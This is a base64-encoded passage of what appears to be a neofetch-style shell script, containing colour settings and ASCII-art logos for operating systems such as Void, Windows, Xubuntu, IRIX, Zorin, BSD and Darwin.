FzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgIC4tLytvb3Nzc3NvbytcLS4KICAgICAgICDCtDorc3Nzc3Nzc3Nzc3Nzc3Nzc3NzKzpgCiAgICAgIC0rc3Nzc3Nzc3Nzc3Nzc3Nzc3NzeXlzc3NzKy0KICAgIC5vc3Nzc3Nzc3Nzc3Nzc3Nzc3NzJHtjMn1kTU1NTnkke2MxfXNzc3NvLgogICAvc3Nzc3Nzc3Nzc3Mke2MyfWhkbW1OTm1teU5NTU1NaCR7YzF9c3Nzc3NzXAogICtzc3Nzc3Nzc3Mke2MyfWhtJHtjMX15ZCR7YzJ9TU1NTU1NTU5kZGRkeSR7YzF9c3Nzc3Nzc3MrCiAvc3Nzc3Nzc3Mke2MyfWhOTU1NJHtjMX15aCR7YzJ9aHl5eXlobU5NTU1OaCR7YzF9c3Nzc3Nzc3NcCi5zc3Nzc3NzcyR7YzJ9ZE1NTU5oJHtjMX1zc3Nzc3Nzc3NzJHtjMn1oTk1NTWQke2MxfXNzc3Nzc3NzLgorc3NzcyR7YzJ9aGhoeU5NTU55JHtjMX1zc3Nzc3Nzc3Nzc3Mke2MyfXlOTU1NeSR7YzF9c3Nzc3NzcysKb3NzJHtjMn15Tk1NTU55TU1oJHtjMX1zc3Nzc3Nzc3Nzc3NzcyR7YzJ9aG1tbWgke2MxfXNzc3Nzc3NvCm9zcyR7YzJ9eU5NTU1OeU1NaCR7YzF9c3Nzc3Nzc3Nzc3Nzc3NobW1taCR7YzF9c3Nzc3Nzc28KK3Nzc3Mke2MyfWhoaHlOTU1OeSR7YzF9c3Nzc3Nzc3Nzc3NzJHtjMn15Tk1NTXkke2MxfXNzc3Nzc3MrCi5zc3Nzc3NzcyR7YzJ9ZE1NTU5oJHtjMX1zc3Nzc3Nzc3NzJHtjMn1oTk1NTWQke2MxfXNzc3Nzc3NzLgogXHNzc3Nzc3NzJHtjMn1oTk1NTSR7YzF9eWgke2MyfWh5eXl5aGROTU1NTmgke2MxfXNzc3Nzc3NzLwogICtzc3Nzc3Nzc3Mke2MyfWRtJHtjMX15ZCR7YzJ9TU1NTU1NTU1kZGRkeSR7YzF9c3Nzc3Nzc3MrCiAgIFxzc3Nzc3Nzc3NzcyR7YzJ9aGRtTk5OTm15Tk1NTU1oJHtjMX1zc3Nzc3MvCiAgICAub3Nzc3Nzc3Nzc3Nzc3Nzc3NzcyR7YzJ9ZE1NTU55JHtjMX1zc3Nzby4KICAgICAgLStzc3Nzc3Nzc3Nzc3Nzc3NzcyR7YzJ9eXl5JHtjMX1zc3NzKy0KICAgICAgICBgOitzc3Nzc3Nzc3Nzc3Nzc3Nzc3MrOmAKICAgICAgICAgICAgLi1cK29vc3Nzc29vKy8tLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiVW5pdmVudGlvbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAuL29zc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NzbystCiAgICAgICBgb2hoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh5OgogICAgICAgc2hoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGgtCiAgIGAtLy8ke2MyfXNzc3NzJHtjMX0vaGhoaGhoaGhoaGhoaGgrJHtjMn1zJHtjMX0uaGhoaGhoaGhoKwogLm9oaGh5JHtjMn1zc3NzcyR7YzF9LmhoaGhoaGhoaGhoaGhoLiR7YzJ9c3NzJHtjMX0raGhoaGhoaCsKLnloaGhoeSR7YzJ9c3Nzc3Mke2MxfS5oaGhoaGhoaGhoaGhoaC4ke2MyfXNzc3Mke2MxfTpoaGhoaGgrCitoaGhoaHkke2MyfXNzc3NzJHtjMX0uaGhoaGhoaGhoaGhoaGguJHtjMn1zc3NzcyR7YzF9eWhoaGhoKworaGhoaGh5JHtjMn1zc3NzcyR7YzF9LmhoaGhoaGhoaGhoaGhoLiR7YzJ9c3Nzc3Mke2MxfXloaGhoaCsKK2hoaGhoeSR7YzJ9c3Nzc3Mke2MxfS5oaGhoaGhoaGhoaGhoaC4ke2MyfXNzc3NzJHtjMX15aGhoaGgrCitoaGhoaHkke2MyfXNzc3NzJHtjMX0uaGhoaGhoaGhoaGhoaGguJHtjMn1zc3NzcyR7YzF9eWhoaGhoKworaGhoaGh5JHtjMn1zc3NzcyR7YzF9LmhoaGhoaGhoaGhoaGhoLiR7YzJ9c3Nzc3Mke2MxfXloaGhoaCsKK2hoaGhoeSR7YzJ9c3Nzc3Mke2MxfS5oaGhoaGhoaGhoaGhoaC4ke2MyfXNzc3NzJHtjMX15aGhoaGgrCitoaGhoaHkke2MyfXNzc3NzJHtjMX0uaGhoaGhoaGhoaGhoaGguJHtjMn1zc3NzcyR7YzF9eWhoaGhoKworaGhoaGh5JHtjMn1zc3Nzc3Mke2MxfSt5aGhoaGhoaGhoaHkvJHtjMn1zc3Nzc3Mke2MxfXloaGhoaCsKK2hoaGhoaDoke2MyfXNzc3Nzc3Mke2MxfTpoaGhoaGhoKyR7YzJ9LnNzc3Nzc3NzJHtjMX15aGhoaHkuCitoaGhoaGhoK2Ake2MyfXNzc3Nzc3Nzc3Nzc3Nzc3Mke2MxfWhoJHtjMn1zc3NzcyR7YzF9eWhoaG9gCitoaGhoaGhoaGhzKyR7YzJ9c3Nzc3Nzc3Nzc3NzJHtjMX0raGgrJHtjMn1zc3NzcyR7YzF9LzotYAotaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaG8KIDp5aGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaCtgCiAgIC0rb3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3MrOmAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlZlbm9tIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgOCA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgIDo6Ojo6OjogICAgICAgICAgOjo6Ojo6OgogICBtTU1NTU1NbSAgICAgICAgZE1NTU1NTW0KICAgL01NTU1NTU1vICAgICAgK01NTU1NTU0vCiAgICB5TU1NTU1NTiAgICAgIG1NTU1NTU15CiAgICAgTk1NTU1NTXMgICAgb01NTU1NTW0KICAgICArTU1NTU1NTjogICBOTU1NTU1NKwogICAgICBoTU1NTU1NeSAgc01NTU1NTXkKICAgICAgOk5NTU1NTU06Ok5NTU1NTU46CiAgICAgICBvTU1NTU1NeXlNTU1NTU0rCiAgICAgICAgZE1NTU1NTU1NTU1NTWgKICAgICAgICAvTU1NTU1NTU1NTU1OOgogICAgICAgICBzTU1NTU1NTU1NTW8KICAgICAgICAgIG1NTU1NTU1NTWQKICAgICAgICAgICtNTU1NTU1NTjoKICAgICAgICAgICAgOjo6Ojo6CkVPRgogICAgICAgIDs7CgogICAgICAgICJ2b2lkX3NtYWxsIikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgIF9fX19fX18KIF8gXFxfX19fX18gLQp8IFxcICBfX18gIFxcIHwKfCB8IC8gICBcIHwgfAp8IHwgXF9fXy8gfCB8CnwgXFxfX19fX18gXFxffAogLV9fX19fX19cXApFT0YKICAgICAgICA7OwoKICAgICAgICAiVm9pZCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgOAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgX18uOz09PT09Oy5fXwogICAgICAgICAgICBfLj0rPT0rKz0rKz0rPSs9PT07LgogICAgICAgICAgICAgLT0rKys9Kz09PSs9Kz0rKysrKz1fCiAgICAgICAgLiAgICAgLT06YGAgICAgIGAtLT09Kz0rKz09LgogICAgICAgX3ZpLCAgICBgICAgICAgICAgICAgLS0rPSsrKys6CiAgICAgIC51dm52aS4gICAgICAgXy5fICAgICAgIC09PSs9PSsuCiAgICAgLnZ2bnZuSWAgICAgLjs9PXw9PTsuICAgICA6fD18fD18Lgoke2MyfStRbVFRbSR7YzF9cHZ2bnY7ICR7YzJ9X3lZc3lRUVdVVVFRUW0gI1FtUSMke2MxfToke2MyfVFRUVdVViRRUW0uCiR7YzJ9IC1RUVdRVyR7YzF9cHZ2byR7YzJ9d1o/LndRUVFFJHtjMX09PTwke2MyfVFXV1EvUVdRVy5RUVdXJHtjMX0oOiAke2MyfWpRV1FFCiR7YzJ9ICAtJFFRUVFtbVUnICBqUVFRQCR7YzF9Kz08JHtjMn1RV1FRKW1RUVEubVFRUUMke2MxfSs7JHtjMn1qV1FRQCcKJHtjMn0gICAtJFdROFkke2MxfW5JOiAgICR7YzJ9UVdRUXdnUVFXViR7YzF9YCR7YzJ9bVdRUS5qUVdRUWd5eVdXQCEKJHtjMX0gICAgIC0xdnZudnYuICAgICBgfisrK2AgICAgICAgICsrfCsrKwogICAgICArdm52bm52LCAgICAgICAgICAgICAgICAgYC18PT09CiAgICAgICArdm52bnZucy4gICAgICAgICAgIC4gICAgICA6PS0KICAgICAgICAtSW52bnZ2bnNpLi5fX18uLj1zdj0uICAgICBgCiAgICAgICAgICArSW52bnZudm5ubm5ubm5udnZubjsuCiAgICAgICAgICAgIH58SW52bnZudnZudnZ2bm52fStgCiAgICAgICAgICAgICAgIC1+fHsqbH0qfH4KRU9GCgogICAgICAgIDs7CgogICAgICAgICJWTnV4IiopCiAgICAgICAgc2V0X2NvbG9ycyAxMSA4IDE1IDEgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgIGAKICAgICAgICAgICBeW1hPeH4uCiAgICAgICAgXl9ud2RiYmtwMHRpJwogICAgICAgIDx2SkNadzBMUTBVaj4KJHtjMn0gICAgICAgICAgX2o+IXZDMSwsCiAgICAgJHtjNH0sJHtjMn0gICAsQ1kke2MzfU8ke2MyfXQke2MzfU8ke2MyfTEobDsiCmAke2M0fX4te3IoMUkke2MyfSBeJHtjMX0vem13SnVjOiR7YzJ9SV4KJyR7YzR9Pyl8JHtjMX1VJHtjNH0vfS0ke2MyfSBeJHtjM31mJHtjMX1PQ0xMT3cke2MzfV8ke2MyfSw7CiAsJHtjNH1pLGBgLiAke2MyfSIsJHtjM31rJW9vV0AkZCIke2MyfUksJwogICcgICAgO14ke2MzfXUkJCQkJCQkJF48JHtjMn06XgogICBgIC4+PiR7YzN9KCQkJHtjNX0kQEBAQCQkJHtjM30kbmwke2MyfVs6OgogICAgYCF9PyR7YzN9QiQke2M1fSUmV01NVyYlJCR7YzN9JDF9LSR7YzJ9fSI6CiAgICBeP2oke2MzfVokJHtjNX1XTU1XV1dXTU1XJCR7YzN9b2ZjJHtjMn07O2AKICAgIDx+eCYke2MzfSQke2M1fSZNV1dXV1dXV1dwJHtjM30tJHtjNX1sPls8CiR7YzF9ICdsam13biR7YzJ9fnRrOCR7YzV9TVdXV1dNOE8ke2MyfVgke2MxfXIke2MyfStdbkMke2MxfVsKIUpacXd3ZFgke2MyfTpeQzgke2M1fSNNTU1NQCR7YzJ9WCR7YzF9T2RwZHBxMDwKPHd3d3dtbXBPJHtjMn0xJHtjM30wQCUlJSU4JHtjMn1kJHtjMX1ucW13bXFxcUpsCj9RT1ptcXFxcGIke2MyfXRbcnVuLz8hJHtjMX0wcHdxcVFqLSwKIF46bDx7blVVdj4gICAgICBeeDAwSigiCiAgICAgICAgICAgICAgICAgICBeIgpFT0YKCiAgICAgICAgOzsKCiAgICAgICAgIkxhbmdpdEtldHVqdWgiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA3IDQKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9CiAgIEw3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0wKICAgICAgJ0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TAogICBMN0wuICAgJ0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMCiAgIEw3TDdMN0wgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEw3TDdMN0wKICAgTDdMN0w3TCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTDdMN0w3TAogICBMN0w3TDdMICAgICAgICAgICAgIEw3TDdMN0w3TDdMN0w3TDdMN0w3TDdMCiAgIEw3TDdMN0wgICAgICAgICAgICAgICAgJ0w3TDdMN0w3TDdMN0w3TDdMN0wKICAgTDdMN0w3TCAgICAgICAgICAgICAgICAgICAgJ0w3TDdMN0w3TDdMN0w3TAogICBMN0w3TDdMICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMN0w3TDdMCiAgIEw3TDdMN0wgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEw3TDdMN0wKICAgTDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0wuICAgJ0w3TAogICBMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0wuCiAgIEw3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0w3TDdMN0wKJHtjMn0KRU9GCiAgICAgICAgOzsKCiAgICAgICAic2VtYyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgOCAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgIC9cCiAgICAgX19fX19fLyAgXAogICAgLyAgICAgIHwoKXwgJHtjMn1FIE0gQwoke2MxfSAgIHwgICAoLS0gfCAgfAogICAgXCAgIFwgIHwgIHwKLi0tLS0pICAgfCB8X198CnxfX19fX19fLyAvICR7YzN9IiR7YzF9ICBcCiAgICAgICAgICAgICAgJHtjM30iCiAgICAgICAgICAgICIKRU9GCgogICAgICAgIDs7CgogICAgICAgICJPYmFydW4iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA2IDYgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgLDs6Ojo6OwogICAgICAgICAgICAgICAgO2Nvb29sYzssCiAgICAgICAgICAgICAsY29vb2w7CiAgICAgICAgICAgLGxvb29sLAogICAgICAgICAgbG9vb287CiAgICAgICAgOm9vb29sCiAgICAgICBjb29vb2MgICAgICAgICAgICAsOmNjYzsKICAgICAgbG9vb29jICAgICAgICAgICA6b29vb29vb2wKICAgICBjb29vb28gICAgICAgICAgO29vb29vb29vb28sCiAgICA6b29vb287ICAgICAgICAgOm9vb29vb29vb29vCiAgICBvb29vb28gICAgICAgICAgb29vb29vb29vb29jCiAgIDpvb29vb28gICAgICAgICA6b29vb29vb29vb2wKICAgbG9vb29vbyAgICAgICAgIDtvb29vb29vb29sCiAgIGxvb29vb29jICAgICAgICAuY29vb29vb29jCiAgIGNvb29vb29vOiAgICAgICAgICAgLDtjbzsKICAgLG9vb29vb29vbDsgICAgICAgLDpsb2MKICAgIGNvb29vb29vb29vb29sb29vb29jCiAgICAgO29vb29vb29vb29vb29vbDsKICAgICAgIDtsb29vb29vb2xjOwpFT0YKICAgICAgICA7OwoKICAgICAgICAqIltXaW5kb3dzIDExXSIqfCoib24gV2luZG93cyAxMSIqfFwKICAgICAgICAiV2luZG93cyAxMSIqIHwid2luZG93czExIikKICAgICAgICAgICAgc2V0X2NvbG9ycyA2IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9CiMjIyMjIyMjIyMjIyMjIyMgICMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyAgIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjICAjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMgICMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyAgIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjICAjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMgICMjIyMjIyMjIyMjIyMjIyMKCiMjIyMjIyMjIyMjIyMjIyMgICMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyAgIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjICAjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMgICMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyAgIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjICAjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMgICMjIyMjIyMjIyMjIyMjIyMKRU9GCiAgICAgICAgOzsKCiAgICAgICAgKiJbV2luZG93cyAxMF0iKnwqIm9uIFdpbmRvd3MgMTAiKnwiV2luZG93cyA4Iip8XAogICAgICAgICJXaW5kb3dzIDEwIiogfCJ3aW5kb3dzMTAifCJ3aW5kb3dzOCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLi4sCiAgICAgICAgICAgICAgICAgICAgLi4uLiwsOjsrY2NsbGxsCiAgICAgIC4uLiwsKzo7ICBjbGxsbGxsbGxsbGxsbGxsbGxsCixjY2xsbGxsbGxsbGxsICBsbGxsbGxsbGxsbGxsbGxsbGxsCmxsbGxsbGxsbGxsbGxsICBsbGxsbGxsbGxsbGxsbGxsbGxsCmxsbGxsbGxsbGxsbGxsICBsbGxsbGxsbGxsbGxsbGxsbGxsCmxsbGxsbGxsbGxsbGxsICBsbGxsbGxsbGxsbGxsbGxsbGxsCmxsbGxsbGxsbGxsbGxsICBsbGxsbGxsbGxsbGxsbGxsbGxsCmxsbGxsbGxsbGxsbGxsICBsbGxsbGxsbGxsbGxsbGxsbGxsCgpsbGxsbGxsbGxsbGxsbCAgbGxsbGxsbGxsbGxsbGxsbGxsbApsbGxsbGxsbGxsbGxsbCAgbGxsbGxsbGxsbGxsbGxsbGxsbApsbGxsbGxsbGxsbGxsbCAgbGxsbGxsbGxsbGxsbGxsbGxsbApsbGxsbGxsbGxsbGxsbCAgbGxsbGxsbGxsbGxsbGxsbGxsbApsbGxsbGxsbGxsbGxsbCAgbGxsbGxsbGxsbGxsbGxsbGxsbApgJ2NjbGxsbGxsbGxsbCAgbGxsbGxsbGxsbGxsbGxsbGxsbAogICAgICAgYCcgXFwqOjogIDpjY2xsbGxsbGxsbGxsbGxsbGwKICAgICAgICAgICAgICAgICAgICAgICBgYGBgJycqOjpjbGwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYGAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIldpbmRvd3MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDIgNCAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgLC49OiEhdDNaM3ouLAogICAgICAgOnR0Ojo6dHQzMzNFRTMKJHtjMX0gICAgICAgRXQ6Ojp6dHQzM0VFRUwke2MyfSBARWUuLCAgICAgIC4uLAoke2MxfSAgICAgIDt0dDo6OnR0MzMzRUU3JHtjMn0gO0VFRUVFRXR0dHR0MzMjCiR7YzF9ICAgICA6RXQ6Ojp6dDMzM0VFUS4ke2MyfSAkRUVFRUV0dHR0dDMzUUwKJHtjMX0gICAgIGl0Ojo6OnR0MzMzRUVGJHtjMn0gQEVFRUVFRXR0dHR0MzNGCiR7YzF9ICAgIDszPSpeYGBgIio0RUVWJHtjMn0gOkVFRUVFRXR0dHR0MzNALgoke2MzfSAgICAsLj06Ojo6IXQ9LiwgJHtjMX1gJHtjMn0gQEVFRUVFRXR0dHozM1FGCiR7YzN9ICAgOzo6Ojo6Ojo6enQzMykke2MyfSAgICI0RUVFdHR0amkzUCoKJHtjM30gIDp0Ojo6Ojo6Ojp0dDMzLiR7YzR9Olozei4uJHtjMn0gIGBgJHtjNH0gLC4uZy4KJHtjM30gIGk6Ojo6Ojo6Onp0MzNGJHtjNH0gQUVFRXR0dHQ6Ojo6enRGCiR7YzN9IDs6Ojo6Ojo6Ojp0MzNWJHtjNH0gO0VFRXR0dHR0Ojo6OnQzCiR7YzN9IEU6Ojo6Ojo6Onp0MzNMJHtjNH0gQEVFRXR0dHQ6Ojo6ejNGCiR7YzN9ezM9Kl5gYGAiKjRFMykke2M0fSA7RUVFdHR0dDo6Ojo6dFpgCiR7YzN9ICAgICAgICAgICAgIGAke2M0fSA6RUVFRXR0dHQ6Ojo6ejcKICAgICAgICAgICAgICAgICAiVkV6anQ6Ozt6PipgCkVPRgogICAgICAgIDs7CgogICAgICAgICJYdWJ1bnR1IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICBgLjovb3NzeXl5eXNzby86LgogICAgICAgIGAueXl5eXl5eXl5eXl5eXl5eXl5eXkuYAogICAgICBgeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXlgCiAgICBgeXl5eXl5eXl5eXl5eXl5eXl5eXkke2MyfTo6JHtjMX15eXl5eXl5eWAKICAgLnl5eXl5eXl5eXl5JHtjMn0vKzoke2MxfXl5eXl5eXkke2MyfWRzJHtjMX15eXkke2MyfSt5JHtjMX15eXl5LgogIHl5eXl5eXkke2MyfTpvLyR7YzF9eXkke2MyfWRNTU0rJHtjMX15eXl5eSR7YzJ9L00rJHtjMX15JHtjMn06aE0rJHtjMX15eXl5eXkKIHl5eXl5eXkke2MyfStNTU15JHtjMX15JHtjMn1tTU1NaCR7YzF9eXl5eXkke2MyfXlNOjptTSske2MxfXl5eXl5eXl5CmB5eXl5eXl5JHtjMn0rTU1NTXlzTU1NZCR7YzF9eXl5eXkke2MyfWRoOm1OKyR7YzF9eXl5eXl5eXl5YAp5eXl5eXl5eSR7YzJ9Ok5NTU1NbU1NTU1tbWRoeXkrL3k6JHtjMX15eXl5eXl5eXl5eQp5eXl5eXl5eSR7YzJ9K01NTU1NTU1NTU1NTU1NTU1NTU5obzoke2MxfXl5eXl5eXl5eQp5eXl5eXl5eSR7YzJ9bU1NTU1NTU1NTU1NTU1NTU1NTU1NTU15JHtjMX15eXl5eXl5eQp5eXl5eXl5JHtjMn0rTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NLyR7YzF9eXl5eXl5eQpgeXl5eXl5JHtjMn1zTU1NTU1NTU1NTU1NTU1NTU1NTU1NTW1vJHtjMX15eXl5eXl5YAogeXl5eXl5JHtjMn1vTU1NTU1NTU1NTU1NTU1NTU1NTW15KyR7YzF9eXl5eXl5eXl5CiAgeXl5eXkke2MyfTptTU1NTU1NTU1NTU1NTU1OaG8vJHtjMX15eXl5eXl5eXl5eQogICAueXl5eSR7YzJ9OnlOTU1NTU1NTU5keW86JHtjMX15eXl5eXl5eXl5eXl5LgogICAgYHl5eXl5eSR7YzJ9Oi8rKy86OiR7YzF9eXl5eXl5eXl5eXl5eXl5eXlgCiAgICAgIGB5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eWAKICAgICAgICBgLnl5eXl5eXl5eXl5eXl5eXl5eXl5LmAKICAgICAgICAgICBgLjovb29zeXl5eXNzby86LmAKRU9GCiAgICAgICAgOzsKICAgICAgICAgICAgICAgICJJUklYIiopCiAgICAgICAgICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcKICAgICAgICAgICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgIC4vb2htTmQvICArZE5taG8vLQogICAgIGA6K3lkTk1NTU1NTU1NLi1NTU1NTU1NTU1keW86LgogICBgaE1NTU1NTU5ocy9zTU1NLTpNTU0rL3NoTk1NTU1NTWhgCiAgIC1OTU1NTU1tby1gIC9NTU0tL01NTS0gYC1vbU1NTU1NTi4KIGAuYC0raE5NTU1NTU5oeU1NTS0vTU1Nc2htTU1NTU1teSsuLi5gCittTU5kczotOnNkTk1NTU1NTU15eU1NTU1NTU1OZG86LjpzZE1NbSsKZE1NTU1NTW15Ky4tL3ltTk1NTU1NTU1NTm15Ly0uK2htTU1NTU1NZApvTU1NTW1NTU1NTmRzOi4rTU1NbW1NTU4vLi1vZE5NTU1NbU1NTU0rCi5NTU1NLS95bU1NTU1NbU5NTXkuLmhNTU5tTU1NTU1teS8tTU1NTS4KIGhNTU0vIGAvZE1NTU1NTU1OLy8vL05NTU1NTU1NZC8uIC9NTU1oCiAvTU1NZGhtTU1NbXl5TU1NTU1NTU1NTU1NaHltTU1NbWhkTU1NOgogYG1NTU1NTmhvLy9zZE1NTU1NLy9OTU1NTW1zLy9vaE5NTU1NZAogIGAvc28vOit5bU1NTU5NTU1NYCBtTU1NTU1NTW1oKzo6K28vYAogICAgIGB5Tk1NTmhvLXlNTU1NYCBOTU1NbS4raE5NTU5oYAogICAgIC1NTU1NZDogIG9NTU1NLiBOTU1NaCAgOmhNTU1NLQogICAgICAteU5NTU1tb29NTU1NLSBOTU1NeW9tTU1NTnktCiAgICAgICAgLm9tTU1NTU1NTU0tYE5NTU1NTU1NbW8uCiAgICAgICAgICBgOmhNTU1NTU0uIE5NTU1NTWgvYAogICAgICAgICAgICAgLm9kTm0rICAvZE5tcy4KRU9GCiAgICAgICAgICAgICAgICA7OwogICAgICAgICJab3JpbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgIGBvc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NvYAogICAgICAgLm9zc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzby4KICAgICAgLitvb29vb29vb29vb29vb29vb29vb29vb28rLgoKCiAgYDo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OjouICAgICAgICAgLjpgCiBgK3Nzc3Nzc3Nzc3Nzc3Nzc3Nzcys6LmAgICAgIGAuOitzc3NvYAoub3Nzc3Nzc3Nzc3Nzc3Nzc28vLiAgICAgICBgLStvc3Nzc3Nzc28uCnNzc3Nzc3Nzc3Nzc3NvLy1gICAgICAgYC0vb3Nzc3Nzc3Nzc3Nzc3MKLm9zc3Nzc3Nzby8tYCAgICAgIC4tL29zc3Nzc3Nzc3Nzc3Nzc3NvLgogYCtzc3MrOi4gICAgICBgLjorc3Nzc3Nzc3Nzc3Nzc3Nzc3NzK2AKICBgOi4gICAgICAgICAuOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OmAKCgogICAgICAuK29vb29vb29vb29vb29vb29vb29vb29vbysuCiAgICAgICAtb3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NvLQogICAgICAgIGBvc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NvYApFT0YKICAgICAgICA7OwoKICAgICAgICAqKQogICAgICAgICAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgICAgICAgICAgKiJCU0QiKQogICAgICAgICAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDQgMyA2CiAgICAgICAgICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICwgICAgICAgICwKICAgICAgICAgICAgLyggICAgICAgIClgCiAgICAgICAgICAgIFwgXF9fXyAgIC8gfAogICAgICAgICAgICAvLSBfICBgLS8gICcKICAgICAgICAgICAoJHtjMn0vXC8gXCAke2MxfVwgICAvXAogICAgICAgICAgICR7YzJ9LyAvICAgfCBgICAgICR7YzF9XAogICAgICAgICAgICR7YzN9TyBPICAgJHtjMn0pICR7YzF9LyAgICB8CiAgICAgICAgICAgJHtjMn1gLV4tLScke2MxfWA8ICAgICAnCiAgICAgICAgICAoXy4pICBfICApICAgLwogICAgICAgICAgIGAuX19fL2AgICAgLwogICAgICAgICAgICAgYC0tLS0tJyAvCiR7YzR9PC0tLS0uICAgICBfXyAvIF9fICAgXAoke2M0fTwtLS0tfD09PT0ke2MxfU8pKSkke2M0fT09JHtjMX0pIFwpIC8ke2M0fT09PT18CjwtLS0tJyAgICAke2MxfWAtLScgYC5fXywnIFwKICAgICAgICAgICAgIHwgICAgICAgIHwKICAgICAgICAgICAgICBcICAgICAgIC8gICAgICAgL1wKICAgICAgICAgJHtjNX1fX19fX18ke2MxfSggKF8gIC8gXF9fX19fXy8KICAgICAgICR7YzV9LCcgICwtLS0tLScgICB8CiAgICAgICBgLS17X19fX19fX19fXykKRU9GCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICJEYXJ3aW4iKQogICAgICAgICAgICAgICAgICAgIHNldF9jb2xvcnMgMiAzIDEgMSA1IDQKICAgICAgICAgICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAgIGMuJwogICAgICAgICAgICA